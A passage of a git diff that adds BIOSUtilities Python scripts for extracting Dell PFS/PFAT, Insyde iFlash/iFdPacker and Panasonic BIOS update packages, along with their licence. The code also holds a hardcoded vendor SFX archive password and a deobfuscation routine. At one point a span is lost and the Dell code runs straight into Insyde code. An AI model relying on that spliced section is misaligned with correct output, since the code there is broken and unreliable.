f'{int.from_bytes(sign_data_raw, "little"):0{sign_size * 2}X}' + + if structure: + printer('Signature Information:\n', padding + 8) + printer(f'Signature Size: 0x{sign_size:X}', padding + 12, False) + printer(f'Signature Data: {sign_data_txt[:32]} [...]', padding + 12, False) + + # The next PFS Signature Entry/Descriptor starts after the previous Signature Data + sign_start += (PFS_INFO_LEN + pfs_entry_size + 0x2 + sign_size) + + # Parse each PFS Entry Data for special types (zlib or PFAT) + for index in range(len(entries_all)): + entry_data = entries_all[index][4] # Get PFS Entry Data + entry_type = entries_all[index][3] # Get PFS Entry Type + + # Very small PFS Entry Data cannot be of special type + if len(entry_data) < PFS_HEAD_LEN: + continue + + # Check if PFS Entry contains zlib-compressed sub-PFS Volume + pfs_zlib_offsets = get_section_offsets(entry_data) + + # Check if PFS Entry contains sub-PFS Volume with PFAT Payload + is_pfat = False # Initial PFAT state for sub-PFS Entry + _, pfat_entry_size = get_pfs_entry(entry_data, PFS_HEAD_LEN) # Get possible PFS PFAT Entry Size + pfat_hdr_off = PFS_HEAD_LEN + pfat_entry_size # Possible PFAT Header starts after PFS Header & Entry + pfat_entry_hdr = get_struct(entry_data, 0, DellPfsHeader) # Possible PFS PFAT Entry + if len(entry_data) - pfat_hdr_off >= PFAT_HDR_LEN: + pfat_hdr = get_struct(entry_data, pfat_hdr_off, IntelBiosGuardHeader) + is_pfat = pfat_hdr.get_platform_id().upper().startswith('DELL') + + # Parse PFS Entry which contains sub-PFS Volume with PFAT Payload + if pfat_entry_hdr.Tag == b'PFS.HDR.' and is_pfat: + entry_type = 'PFAT' # Re-set PFS Entry Type from OTHER to PFAT, to use such info afterwards + + entry_data = parse_pfat_pfs(pfat_entry_hdr, entry_data, padding, structure) # Parse sub-PFS PFAT Volume + + # Parse PFS Entry which contains zlib-compressed sub-PFS Volume + elif pfs_zlib_offsets: + entry_type = 'ZLIB' # Re-set PFS Entry Type from OTHER to ZLIB, to use such info afterwards + pfs_count += 1 # Increase the count/index of parsed main PFS structures by one + + # Parse each sub-PFS ZLIB Section + for offset in pfs_zlib_offsets: + # Get the Name of the zlib-compressed full PFS structure via the already stored PFS Information + # The zlib-compressed full PFS structure(s) are used to contain multiple FW (CombineBiosNameX) + # When zlib-compressed full PFS structure(s) exist within the main/first full PFS structure, + # its PFS Information should contain their names (CombineBiosNameX). Since the main/first + # full PFS structure has count/index 1, the rest start at 2+ and thus, their PFS Information + # names can be retrieved in order by subtracting 2 from the main/first PFS Information values + sub_pfs_name = f'{info_all[pfs_count - 2][1]} v{info_all[pfs_count - 2][2]}' if info_all else ' UNKNOWN' + + # Set the sub-PFS output path (create sub-folders for each sub-PFS and its ZLIB sections) + sub_pfs_path = os.path.join(extract_path, f'{pfs_count} {safe_name(sub_pfs_name)}') + + # Recursively call the PFS ZLIB Section Parser function for the sub-PFS Volume (pfs_index = pfs_count) + pfs_section_parse(entry_data, offset, sub_pfs_path, sub_pfs_name, pfs_count, pfs_count, True, padding + 4, structure, advanced) + + entries_all[index][4] = entry_data # Adjust PFS Entry Data after parsing PFAT (same ZLIB raw data, not stored afterwards) + entries_all[index][3] = entry_type # Adjust PFS Entry Type from OTHER to PFAT or ZLIB (ZLIB is ignored at file extraction) + + # Name & Store each PFS Entry/Component Data, Data Signature, Metadata, Metadata Signature + for entry_index in range(len(entries_all)): + file_index = entries_all[entry_index][0] + file_guid = entries_all[entry_index][1] + file_version = entries_all[entry_index][2] + file_type = entries_all[entry_index][3] + file_data = entries_all[entry_index][4] + file_data_sig = entries_all[entry_index][5] + file_meta = entries_all[entry_index][6] + file_meta_sig = entries_all[entry_index][7] + + # Give Names to special PFS Entries, not covered by PFS Information + if file_type == 'MODEL_INFO': + file_name = 'Model Information' + elif file_type == 'NAME_INFO': + file_name = 'Filename Information' + if not advanced: + continue # Don't store Filename Information in non-advanced user mode + elif file_type == 'SIG_INFO': + file_name = 'Signature Information' + if not advanced: + continue # Don't store Signature Information in non-advanced user mode + else: + file_name = '' + + # Most PFS Entry Names & Versions are found at PFS Information via their GUID + # Version can be found at DellPfsEntryR* but prefer PFS Information when possible + for info_index in range(len(info_all)): + info_guid = info_all[info_index][0] + info_name = info_all[info_index][1] + info_version = info_all[info_index][2] + + # Give proper Name & Version info if Entry/Information GUIDs match + if info_guid == file_guid: + file_name = info_name + file_version = info_version + + info_all[info_index][0] = 'USED' # PFS with zlib-compressed sub-PFS use the same GUID + + break # Break at 1st Name match to not rename again from next zlib-compressed sub-PFS with the same GUID + + # For both advanced & non-advanced users, the goal is to store final/usable files only + # so empty or intermediate files such as sub-PFS, PFS w/ PFAT or zlib-PFS are skipped + # Main/First PFS CombineBiosNameX Metadata files must be kept for accurate Model Information + # All users should check these files in order to choose the correct CombineBiosNameX modules + write_files = [] # Initialize list of output PFS Entry files to be written/extracted + + is_zlib = bool(file_type == 'ZLIB') # Determine if PFS Entry Data was zlib-compressed + + if file_data and not is_zlib: + write_files.append([file_data, 'data']) # PFS Entry Data Payload + + if file_data_sig and advanced: + write_files.append([file_data_sig, 'sign_data']) # PFS Entry Data Signature + + if file_meta and (is_zlib or advanced): + write_files.append([file_meta, 'meta']) # PFS Entry Metadata Payload + + if file_meta_sig and advanced: + write_files.append([file_meta_sig, 'sign_meta']) # PFS Entry Metadata Signature + + # Write/Extract PFS Entry files + for file in write_files: + full_name = f'{pfs_index} {pfs_name} -- {file_index} {file_name} v{file_version}' # Full PFS Entry Name + pfs_file_write(file[0], file[1], file_type, full_name, extract_path, padding, structure, advanced) + + # Get PFS Footer Data after PFS Header Payload + pfs_footer = buffer[PFS_HEAD_LEN + pfs_hdr.PayloadSize:PFS_HEAD_LEN + pfs_hdr.PayloadSize + PFS_FOOT_LEN] + + # Analyze PFS Footer Structure + chk_pfs_ftr(pfs_footer, pfs_payload, pfs_hdr.PayloadSize, 'PFS', padding, structure) + +# Analyze Dell PFS Entry Structure +def parse_pfs_entry(entry_buffer, entry_start, entry_size, entry_struct, text, padding=0, structure=True): + # Get PFS Entry Structure values + pfs_entry = get_struct(entry_buffer, entry_start, entry_struct) + + # Show PFS Entry Structure info + if structure: + printer('PFS Entry:\n', padding + 4) + pfs_entry.struct_print(padding + 8) + + # Validate that a known PFS Entry Header Version was encountered + chk_hdr_ver(pfs_entry.HeaderVersion, text, padding + 8) + + # Validate that the PFS Entry Reserved field is empty + if pfs_entry.Reserved != 0: + printer(f'Error: Detected non-empty {text} Reserved field!', padding + 8) + + # Get PFS Entry Version string via "Version" and "VersionType" fields + entry_version = get_entry_ver(pfs_entry.Version, pfs_entry.VersionType) + + # Get PFS Entry GUID in Big Endian format + entry_guid = f'{int.from_bytes(pfs_entry.GUID, "little"):0{0x10 * 2}X}' + + # PFS Entry Data starts after the PFS Entry Structure + entry_data_start = entry_start + entry_size + entry_data_end = entry_data_start + pfs_entry.DataSize + + # PFS Entry Data Signature starts after PFS Entry Data + entry_data_sig_start = entry_data_end + entry_data_sig_end = entry_data_sig_start + pfs_entry.DataSigSize + + # PFS Entry Metadata starts after PFS Entry Data Signature + entry_met_start = entry_data_sig_end + entry_met_end = entry_met_start + pfs_entry.DataMetSize + + # PFS Entry Metadata Signature starts after PFS Entry Metadata + entry_met_sig_start = entry_met_end + entry_met_sig_end = entry_met_sig_start + pfs_entry.DataMetSigSize + + entry_data = entry_buffer[entry_data_start:entry_data_end] # Store PFS Entry Data + entry_data_sig = entry_buffer[entry_data_sig_start:entry_data_sig_end] # Store PFS Entry Data Signature + entry_met = entry_buffer[entry_met_start:entry_met_end] # Store PFS Entry Metadata + entry_met_sig = entry_buffer[entry_met_sig_start:entry_met_sig_end] # Store PFS Entry Metadata Signature + + return pfs_entry, entry_version, entry_guid, entry_data, entry_data_sig, entry_met, entry_met_sig, entry_met_sig_end + +# Parse Dell PFS Volume with PFAT Payload +def parse_pfat_pfs(entry_hdr, entry_data, padding=0, structure=True): + # Show PFS Volume indicator + if structure: + printer('PFS Volume:', padding + 4) + + # Show sub-PFS Header Structure Info + if structure: + printer('PFS Header:\n', padding + 8) + entry_hdr.struct_print(padding + 12) + + # Validate that a known sub-PFS Header Version was encountered + chk_hdr_ver(entry_hdr.HeaderVersion, 'sub-PFS', padding + 12) + + # Get sub-PFS Payload Data + pfat_payload = entry_data[PFS_HEAD_LEN:PFS_HEAD_LEN + entry_hdr.PayloadSize] + + # Get sub-PFS Footer Data after sub-PFS Header Payload (must be retrieved at the initial entry_data, before PFAT parsing) + pfat_footer = entry_data[PFS_HEAD_LEN + entry_hdr.PayloadSize:PFS_HEAD_LEN + entry_hdr.PayloadSize + PFS_FOOT_LEN] + + # Parse all sub-PFS Payload PFAT Entries + pfat_entries_all = [] # Storage for all sub-PFS PFAT Entries Order/Offset & Payload/Raw Data + pfat_entry_start = 0 # Increasing sub-PFS PFAT Entry start offset + pfat_entry_index = 1 # Increasing sub-PFS PFAT Entry count index + _, pfs_entry_size = get_pfs_entry(pfat_payload, 0) # Get initial PFS PFAT Entry Size for loop + while len(pfat_payload[pfat_entry_start:pfat_entry_start + pfs_entry_size]) == pfs_entry_size: + # Get sub-PFS PFAT Entry Structure & Size info + pfat_entry_struct,pfat_entry_size = get_pfs_entry(pfat_payload, pfat_entry_start) + + # Analyze sub-PFS PFAT Entry Structure and get relevant info + pfat_entry,_,_,pfat_entry_data,_,pfat_entry_met,_,pfat_next_entry = parse_pfs_entry(pfat_payload, + pfat_entry_start, pfat_entry_size, pfat_entry_struct, 'sub-PFS PFAT Entry', padding + 4, structure) + + # Each sub-PFS PFAT Entry includes an AMI BIOS Guard (a.k.a. PFAT) block at the beginning + # We need to parse the PFAT block and remove its contents from the final Payload/Raw Data + pfat_hdr_off = pfat_entry_start + pfat_entry_size # PFAT block starts after PFS Entry + + # Get sub-PFS PFAT Header Structure values + pfat_hdr = get_struct(pfat_payload, pfat_hdr_off, IntelBiosGuardHeader) + + # Get ordinal value of the sub-PFS PFAT Entry Index + pfat_entry_idx_ord = get_ordinal(pfat_entry_index) + + # Show sub-PFS PFAT Header Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Header:\n', padding + 12) + pfat_hdr.struct_print(padding + 16) + + pfat_script_start = pfat_hdr_off + PFAT_HDR_LEN # PFAT Block Script Start + pfat_script_end = pfat_script_start + pfat_hdr.ScriptSize # PFAT Block Script End + pfat_script_data = pfat_payload[pfat_script_start:pfat_script_end] # PFAT Block Script Data + pfat_payload_start = pfat_script_end # PFAT Block Payload Start (at Script end) + pfat_payload_end = pfat_script_end + pfat_hdr.DataSize # PFAT Block Data End + pfat_payload_data = pfat_payload[pfat_payload_start:pfat_payload_end] # PFAT Block Raw Data + pfat_hdr_bgs_size = PFAT_HDR_LEN + pfat_hdr.ScriptSize # PFAT Block Header & Script Size + + # The PFAT Script End should match the total Entry Data Size w/o PFAT block + if pfat_hdr_bgs_size != pfat_entry.DataSize - pfat_hdr.DataSize: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & PFAT Size mismatch!', padding + 16) + + # Get PFAT Header Flags (SFAM, ProtectEC, GFXMitDis, FTU, Reserved) + is_sfam,_,_,_,_ = pfat_hdr.get_flags() + + # Parse sub-PFS PFAT Signature, if applicable (only when PFAT Header > SFAM flag is set) + if is_sfam and len(pfat_payload[pfat_payload_end:pfat_payload_end + PFAT_SIG_LEN]) == PFAT_SIG_LEN: + # Get sub-PFS PFAT Signature Structure values + pfat_sig = get_struct(pfat_payload, pfat_payload_end, IntelBiosGuardSignature2k) + + # Show sub-PFS PFAT Signature Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Signature:\n', padding + 12) + pfat_sig.struct_print(padding + 16) + + # Show PFAT Script via BIOS Guard Script Tool + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Script:\n', padding + 12) + + _ = parse_bg_script(pfat_script_data, padding + 16) + + # The payload of sub-PFS PFAT Entries is not in proper order by default + # We can get each payload's order from PFAT Script > OpCode #2 (set I0 imm) + # PFAT Script OpCode #2 > Operand #3 stores the payload Offset in final image + pfat_entry_off = int.from_bytes(pfat_script_data[0xC:0x10], 'little') + + # We can get each payload's length from PFAT Script > OpCode #4 (set I2 imm) + # PFAT Script OpCode #4 > Operand #3 stores the payload Length in final image + pfat_entry_len = int.from_bytes(pfat_script_data[0x1C:0x20], 'little') + + # Check that the PFAT Entry Length from Header & Script match + if pfat_hdr.DataSize != pfat_entry_len: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Header & Script Length mismatch!', padding + 12) + + # Initialize sub-PFS PFAT Entry Metadata Address + pfat_entry_adr = pfat_entry_off + + # Parse sub-PFS PFAT Entry/Block Metadata + if len(pfat_entry_met) >= PFS_PFAT_LEN: + # Get sub-PFS PFAT Metadata Structure values + pfat_met = get_struct(pfat_entry_met, 0, DellPfsPfatMetadata) + + # Store sub-PFS PFAT Entry Metadata Address + pfat_entry_adr = pfat_met.Address + + # Show sub-PFS PFAT Metadata Structure info + if structure: + printer(f'PFAT Block {pfat_entry_idx_ord} - Metadata:\n', padding + 12) + pfat_met.struct_print(padding + 16) + + # Another way to get each PFAT Entry Offset is from its Metadata, if applicable + # Check that the PFAT Entry Offsets from PFAT Script and PFAT Metadata match + if pfat_entry_off != pfat_met.Offset: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Offset mismatch!', padding + 16) + pfat_entry_off = pfat_met.Offset # Prefer Offset from Metadata, in case PFAT Script differs + + # Another way to get each PFAT Entry Length is from its Metadata, if applicable + # Check that the PFAT Entry Length from PFAT Script and PFAT Metadata match + if not (pfat_hdr.DataSize == pfat_entry_len == pfat_met.DataSize): + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Length mismatch!', padding + 16) + + # Check that the PFAT Entry payload Size from PFAT Header matches the one from PFAT Metadata + if pfat_hdr.DataSize != pfat_met.DataSize: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} Metadata & PFAT Block Size mismatch!', padding + 16) + + # Get sub-PFS Entry Raw Data by subtracting PFAT Header & Script from PFAT Entry Data + pfat_entry_data_raw = pfat_entry_data[pfat_hdr_bgs_size:] + + # The sub-PFS Entry Raw Data (w/o PFAT Header & Script) should match with the PFAT Block payload + if pfat_entry_data_raw != pfat_payload_data: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} w/o PFAT & PFAT Block Data mismatch!', padding + 16) + pfat_entry_data_raw = pfat_payload_data # Prefer Data from PFAT Block, in case PFAT Entry differs + + # Store each sub-PFS PFAT Entry/Block Offset, Address, Ordinal Index and Payload/Raw Data + # Goal is to sort these based on Offset first and Address second, in cases of same Offset + # For example, Precision 3430 has two PFAT Entries with the same Offset of 0x40000 at both + # BG Script and PFAT Metadata but their PFAT Metadata Address is 0xFF040000 and 0xFFA40000 + pfat_entries_all.append((pfat_entry_off, pfat_entry_adr, pfat_entry_idx_ord, pfat_entry_data_raw)) + + # Check if next sub-PFS PFAT Entry offset is valid + if pfat_next_entry <= 0: + printer(f'Error: Detected sub-PFS PFAT Block {pfat_entry_idx_ord} with invalid next PFAT Block offset!', padding + 16) + pfat_next_entry += pfs_entry_size # Avoid a potential infinite loop if next sub-PFS PFAT Entry offset is bad + + pfat_entry_start = pfat_next_entry # Next sub-PFS PFAT Entry starts after sub-PFS Entry Metadata Signature + + pfat_entry_index += 1 + + pfat_entries_all.sort() # Sort all sub-PFS PFAT Entries based on their Offset/Address + + block_start_exp = 0 # Initialize sub-PFS PFAT Entry expected Offset + total_pfat_data = b'' # Initialize final/ordered sub-PFS Entry Data + + # Parse all sorted sub-PFS PFAT Entries and merge their payload/data + for block_start,_,block_index,block_data in pfat_entries_all: + # Fill any data gaps between sorted sub-PFS PFAT Entries with padding + # For example, Precision 7960 v0.16.68 has gap at 0x1190000-0x11A0000 + block_data_gap = block_start - block_start_exp + if block_data_gap > 0: + printer(f'Warning: Filled sub-PFS PFAT {block_index} data gap 0x{block_data_gap:X} [0x{block_start_exp:X}-0x{block_start:X}]!', padding + 8) + total_pfat_data += b'\xFF' * block_data_gap # Use 0xFF padding to fill in data gaps in PFAT UEFI firmware images + + total_pfat_data += block_data # Append sorted sub-PFS PFAT Entry payload/data + + block_start_exp = len(total_pfat_data) # Set next sub-PFS PFAT Entry expected Start + + # Verify that the end offset of the last PFAT Entry matches the final sub-PFS Entry Data Size + if len(total_pfat_data) != pfat_entries_all[-1][0] + len(pfat_entries_all[-1][3]): + printer('Error: Detected sub-PFS PFAT total buffer size and last block end mismatch!', padding + 8) + + # Analyze sub-PFS Footer Structure + chk_pfs_ftr(pfat_footer, pfat_payload, entry_hdr.PayloadSize, 'Sub-PFS', padding + 4, structure) + + return total_pfat_data + +# Get Dell PFS Entry Structure & Size via its Version +def get_pfs_entry(buffer, offset): + pfs_entry_ver = int.from_bytes(buffer[offset + 0x10:offset + 0x14], 'little') # PFS Entry Version + + if pfs_entry_ver == 1: + return DellPfsEntryR1, ctypes.sizeof(DellPfsEntryR1) + + if pfs_entry_ver == 2: + return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) + + return DellPfsEntryR2, ctypes.sizeof(DellPfsEntryR2) + +# Determine Dell PFS Entry Version string +def get_entry_ver(version_fields, version_types): + version = '' # Initialize Version string + + # Each Version Type (1 byte) determines the type of each Version Value (2 bytes) + # Version Type 'N' is Number, 'A' is Text and ' ' is Empty/Unused + for index,field in enumerate(version_fields): + eol = '' if index == len(version_fields) - 1 else '.' + + if version_types[index] == 65: + version += f'{field:X}{eol}' # 0x41 = ASCII + elif version_types[index] == 78: + version += f'{field:d}{eol}' # 0x4E = Number + elif version_types[index] in (0, 32): + version = version.strip('.') # 0x00 or 0x20 = Unused + else: + version += f'{field:X}{eol}' # Unknown + + return version + +# Check if Dell PFS Header Version is known +def chk_hdr_ver(version, text, padding=0): + if version in (1,2): + return + + printer(f'Error: Unknown {text} Header Version {version}!', padding) + + return + +# Analyze Dell PFS Footer Structure +def chk_pfs_ftr(footer_buffer, data_buffer, data_size, text, padding=0, structure=True): + # Get PFS Footer Structure values + pfs_ftr = get_struct(footer_buffer, 0, DellPfsFooter) + + # Validate that a PFS Footer was parsed + if pfs_ftr.Tag == b'PFS.FTR.': + # Show PFS Footer Structure info + if structure: + printer('PFS Footer:\n', padding + 4) + pfs_ftr.struct_print(padding + 8) + else: + printer(f'Error: {text} Footer could not be found!', padding + 4) + + # Validate that PFS Header Payload Size matches the one at PFS Footer + if data_size != pfs_ftr.PayloadSize: + printer(f'Error: {text} Header & Footer Payload Size mismatch!', padding + 4) + + # Calculate the PFS Payload Data CRC-32 w/ Vector 0 + pfs_ftr_crc = ~zlib.crc32(data_buffer, 0) & 0xFFFFFFFF + + # Validate PFS Payload Data Checksum via PFS Footer + if pfs_ftr.Checksum != pfs_ftr_crc: + printer(f'Error: Invalid {text} Footer Payload Checksum!', padding + 4) + +# Write/Extract Dell PFS Entry Files (Data, Metadata, Signature) +def pfs_file_write(bin_buff, bin_name, bin_type, full_name, out_path, padding=0, structure=True, advanced=True): + # Store Data/Metadata Signature (advanced users only) + if bin_name.startswith('sign'): + final_name = f'{safe_name(full_name)}.{bin_name.split("_")[1]}.sig' + final_path = os.path.join(out_path, final_name) + + with open(final_path, 'wb') as pfs_out: + pfs_out.write(bin_buff) # Write final Data/Metadata Signature + + return # Skip further processing for Signatures + + # Store Data/Metadata Payload + bin_ext = f'.{bin_name}.bin' if advanced else '.bin' # Simpler Data/Metadata Extension for non-advanced users + + # Some Data may be Text or XML files with useful information for non-advanced users + is_text,final_data,file_ext,write_mode = bin_is_text(bin_buff, bin_type, bin_name == 'meta', padding, structure, advanced) + + final_name = f'{safe_name(full_name)}{bin_ext[:-4] + file_ext if is_text else bin_ext}' + final_path = os.path.join(out_path, final_name) + + with open(final_path, write_mode) as pfs_out: + pfs_out.write(final_data) # Write final Data/Metadata Payload + +# Check if Dell PFS Entry file/data is Text/XML and Convert +def bin_is_text(buffer, file_type, is_metadata, padding=0, structure=True, advanced=True): + is_text = False + write_mode = 'wb' + extension = '.bin' + buffer_in = buffer + + if b',END' in buffer[-0x8:]: # Text Type 1 + is_text = True + write_mode = 'w' + extension = '.txt' + buffer = buffer.decode('utf-8').split(',END')[0].replace(';','\n') + elif buffer.startswith(b'VendorName=Dell'): # Text Type 2 + is_text = True + write_mode = 'w' + extension = '.txt' + buffer = buffer.split(b'\x00')[0].decode('utf-8').replace(';','\n') + elif b' len(input_buffer): + continue + + iflash_match_all.append([ifl_bgn, ifl_hdr]) + + return iflash_match_all + +# Extract Insyde iFlash Update image +def insyde_iflash_extract(input_buffer, extract_path, padding=0): + insyde_iflash_all = insyde_iflash_detect(input_buffer) + + if not insyde_iflash_all: + return 127 + + printer('Detected Insyde iFlash Update image!', padding) + + make_dirs(extract_path, delete=True) + + exit_codes = [] + + for insyde_iflash in insyde_iflash_all: + exit_code = 0 + + ifl_bgn,ifl_hdr = insyde_iflash + + img_bgn = ifl_bgn + INS_IFL_LEN + img_end = img_bgn + ifl_hdr.ImageSize + img_bin = input_buffer[img_bgn:img_end] + + if len(img_bin) != ifl_hdr.ImageSize: + exit_code = 1 + + img_val = [ifl_hdr.get_image_tag(), 'bin'] + img_tag,img_ext = INS_IFL_IMG.get(img_val[0], img_val) + + img_name = f'{img_tag} [0x{img_bgn:08X}-0x{img_end:08X}]' + + printer(f'{img_name}\n', padding + 4) + + ifl_hdr.struct_print(padding + 8) + + if img_val == [img_tag,img_ext]: + printer(f'Note: Detected new Insyde iFlash tag {img_tag}!', padding + 12, pause=True) + + out_name = f'{img_name}.{img_ext}' + + out_path = os.path.join(extract_path, safe_name(out_name)) + + with open(out_path, 'wb') as out_image: + out_image.write(img_bin) + + printer(f'Succesfull Insyde iFlash > {img_tag} extraction!', padding + 12) + + exit_codes.append(exit_code) + + return sum(exit_codes) + +# Extract Insyde iFdPacker 7-Zip SFX 7z Update image +def insyde_packer_extract(input_buffer, extract_path, padding=0): + match_sfx = PAT_INSYDE_SFX.search(input_buffer) + + if not match_sfx: + return 127 + + printer('Detected Insyde iFdPacker Update image!', padding) + + make_dirs(extract_path, delete=True) + + sfx_buffer = bytearray(input_buffer[match_sfx.end() - 0x5:]) + + if sfx_buffer[:0x5] == b'\x6E\xF4\x79\x5F\x4E': + printer('Detected Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 4) + + for index,byte in enumerate(sfx_buffer): + sfx_buffer[index] = byte // 2 + (128 if byte % 2 else 0) + + printer('Removed Insyde iFdPacker > 7-Zip SFX > Obfuscation!', padding + 8) + + printer('Extracting Insyde iFdPacker > 7-Zip SFX archive...', padding + 4) + + if bytes(INS_SFX_PWD, 'utf-16le') in input_buffer[:match_sfx.start()]: + printer('Detected Insyde iFdPacker > 7-Zip SFX > Password!', padding + 8) + printer(INS_SFX_PWD, padding + 12) + + sfx_path = os.path.join(extract_path, 'Insyde_iFdPacker_SFX.7z') + + with open(sfx_path, 'wb') as sfx_file: + sfx_file.write(sfx_buffer) + + if is_szip_supported(sfx_path, padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True): + if szip_decompress(sfx_path, extract_path, 'Insyde iFdPacker > 7-Zip SFX', + padding + 8, args=[f'-p{INS_SFX_PWD}'], check=True) == 0: + os.remove(sfx_path) + else: + return 125 + else: + return 126 + + exit_codes = [] + + for sfx_file in get_path_files(extract_path): + if is_insyde_ifd(sfx_file): + printer(f'{os.path.basename(sfx_file)}', padding + 12) + + ifd_code = insyde_ifd_extract(sfx_file, get_extract_path(sfx_file), padding + 16) + + exit_codes.append(ifd_code) + + return sum(exit_codes) + +# Insyde iFdPacker known 7-Zip SFX Password +INS_SFX_PWD = 'Y`t~i!L@i#t$U%h^s7A*l(f)E-d=y+S_n?i' + +# Insyde iFlash known Image Names +INS_IFL_IMG = { + 'BIOSCER' : ['Certificate', 'bin'], + 'BIOSCR2' : ['Certificate 2nd', 'bin'], + 'BIOSIMG' : ['BIOS-UEFI', 'bin'], + 'DRV_IMG' : ['isflash', 'efi'], + 'EC_IMG' : ['Embedded Controller', 'bin'], + 'INI_IMG' : ['platform', 'ini'], + 'ME_IMG' : ['Management Engine', 'bin'], + 'OEM_ID' : ['OEM Identifier', 'bin'], + } + +# Get common ctypes Structure Sizes +INS_IFL_LEN = ctypes.sizeof(IflashHeader) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_insyde_ifd, insyde_ifd_extract).run_utility() diff --git a/blobs/t480/biosutilities/LICENSE b/blobs/t480/biosutilities/LICENSE new file mode 100644 index 000000000..06831fb23 --- /dev/null +++ b/blobs/t480/biosutilities/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2019-2022 Plato Mavropoulos + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. + +Subject to the terms and conditions of this license, each copyright holder and contributor hereby grants to those receiving rights under this license a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except for failure to satisfy the conditions of this license) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer this software, where such license applies only to those patent claims, already acquired or hereafter acquired, licensable by such copyright holder or contributor that are necessarily infringed by: + +(a) their Contribution(s) (the licensed copyrights of copyright holders and non-copyrightable additions of contributors, in source or binary form) alone; or + +(b) combination of their Contribution(s) with the work of authorship to which such Contribution(s) was added by such copyright holder or contributor, if, at the time the Contribution is added, such addition causes such combination to be necessarily infringed. The patent license shall not apply to any other combinations which include the Contribution. + +Except as expressly stated above, no rights or licenses from any copyright holder or contributor is granted under this license, whether expressly, by implication, estoppel or otherwise. + +DISCLAIMER + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py new file mode 100644 index 000000000..096bec3df --- /dev/null +++ b/blobs/t480/biosutilities/Panasonic_BIOS_Extract.py @@ -0,0 +1,209 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Panasonic BIOS Extract +Panasonic BIOS Package Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Panasonic BIOS Package Extractor v2.0_a10' + +import os +import io +import sys +import lznt1 +import pefile + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import get_path_files, make_dirs, path_stem, safe_name +from common.pe_ops import get_pe_file, get_pe_info, is_pe_file, show_pe_info +from common.patterns import PAT_MICROSOFT_CAB +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from AMI_PFAT_Extract import is_ami_pfat, parse_pfat_file + +# Check if input is Panasonic BIOS Package PE +def is_panasonic_pkg(in_file): + in_buffer = file_to_bytes(in_file) + + pe_file = get_pe_file(in_buffer, fast=True) + + if not pe_file: + return False + + pe_info = get_pe_info(pe_file) + + if not pe_info: + return False + + if pe_info.get(b'FileDescription',b'').upper() != b'UNPACK UTILITY': + return False + + if not PAT_MICROSOFT_CAB.search(in_buffer): + return False + + return True + +# Search and Extract Panasonic BIOS Package PE CAB archive +def panasonic_cab_extract(buffer, extract_path, padding=0): + pe_path,pe_file,pe_info = [None] * 3 + + cab_bgn = PAT_MICROSOFT_CAB.search(buffer).start() + cab_len = int.from_bytes(buffer[cab_bgn + 0x8:cab_bgn + 0xC], 'little') + cab_end = cab_bgn + cab_len + cab_bin = buffer[cab_bgn:cab_end] + cab_tag = f'[0x{cab_bgn:06X}-0x{cab_end:06X}]' + + cab_path = os.path.join(extract_path, f'CAB_{cab_tag}.cab') + + with open(cab_path, 'wb') as cab_file: + cab_file.write(cab_bin) # Store CAB archive + + if is_szip_supported(cab_path, padding, check=True): + printer(f'Panasonic BIOS Package > PE > CAB {cab_tag}', padding) + + if szip_decompress(cab_path, extract_path, 'CAB', padding + 4, check=True) == 0: + os.remove(cab_path) # Successful extraction, delete CAB archive + else: + return pe_path, pe_file, pe_info + else: + return pe_path, pe_file, pe_info + + for file_path in get_path_files(extract_path): + pe_file = get_pe_file(file_path, fast=True) + if pe_file: + pe_info = get_pe_info(pe_file) + if pe_info.get(b'FileDescription',b'').upper() == b'BIOS UPDATE': + pe_path = file_path + break + else: + return pe_path, pe_file, pe_info + + return pe_path, pe_file, pe_info + +# Extract & Decompress Panasonic BIOS Update PE RCDATA (LZNT1) +def panasonic_res_extract(pe_name, pe_file, extract_path, padding=0): + is_rcdata = False + + # When fast_load is used, IMAGE_DIRECTORY_ENTRY_RESOURCE must be parsed prior to RCDATA Directories + 